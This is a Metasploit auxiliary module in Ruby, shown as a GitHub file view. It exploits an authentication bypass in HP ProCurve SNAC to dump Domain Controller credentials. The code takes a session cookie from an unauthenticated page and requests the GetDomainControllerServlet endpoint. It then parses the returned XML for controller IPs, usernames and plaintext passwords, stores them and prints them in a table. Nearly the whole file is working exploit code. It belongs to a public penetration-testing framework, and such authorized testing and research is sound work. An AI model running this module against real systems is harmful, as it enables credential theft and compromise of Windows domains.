/
hp_snac_domain_creds.rb
165 lines (135 loc) · 4.28 KB
/
hp_snac_domain_creds.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP ProCurve SNAC Domain Controller Credential Dumper',
'Description' => %q{
This module will extract Domain Controller credentials from vulnerable installations of HP
SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability
has been used to exploit remote file uploads. This vulnerability can be used to gather important
information handled by the vulnerable application, like plain text domain controller
credentials. This module has been tested successfully with HP SNAC included with ProCurve
Manager 4.0.
},
'References' =>
[
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03897409']
],
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Auth bypass discovered by
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
},
'DisclosureDate' => '2013-09-09'
))
register_options(
[
Opt::RPORT(443)
])
end
def get_domain_info(session)
res = send_request_cgi({
'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",
'cookie' => session
})
if res and res.code == 200 and res.body =~ /domainName/
return res.body
end
return nil
end
def get_session
res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" })
session = nil
if res and res.code == 200
session = res.get_cookies
end
if session and not session.empty?
return session
end
return nil
end
def parse_domain_data(data)
results = []
doc = REXML::Document.new(data)
doc.elements.each("Controllers/Domain") do |domain|
dc_ip = domain.elements['domainControllerIP'].text
port = domain.elements['port'].text
service = domain.elements['connType'].text
user = domain.elements['userName'].text
password = domain.elements['password'].text
results << [dc_ip, port, service, user, password]
end
return results
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run
print_status("Get Domain Info")
session = get_session
if session.nil?
print_error("Failed to get a valid session, maybe the target isn't HP SNAC installation?")
return
end
print_status("Exploiting Authentication Bypass to gather Domain Controller Info...")
domain_info = get_domain_info(session)
if domain_info.nil?
print_error("Failed, maybe the target isn't vulnerable")
return
end
print_status("Parsing data gathered...")
credentials = parse_domain_data(domain_info)
if credentials.empty?
print_warning("Any Domain Controller has been found...")
return
end
cred_table = Rex::Text::Table.new(
'Header' => 'Domain Controllers Credentials',
'Indent' => 1,
'Columns' => ['Domain Controller', 'Username', 'Password']
)
credentials.each do |record|
report_cred(
ip: record[0],
port: record[1],
service_name: record[2].downcase,
user: record[3],
password: record[4],
proof: domain_info.inspect
)
cred_table << [record[0], record[3], record[4]]
end
print_line
print_line(cred_table.to_s)
end
end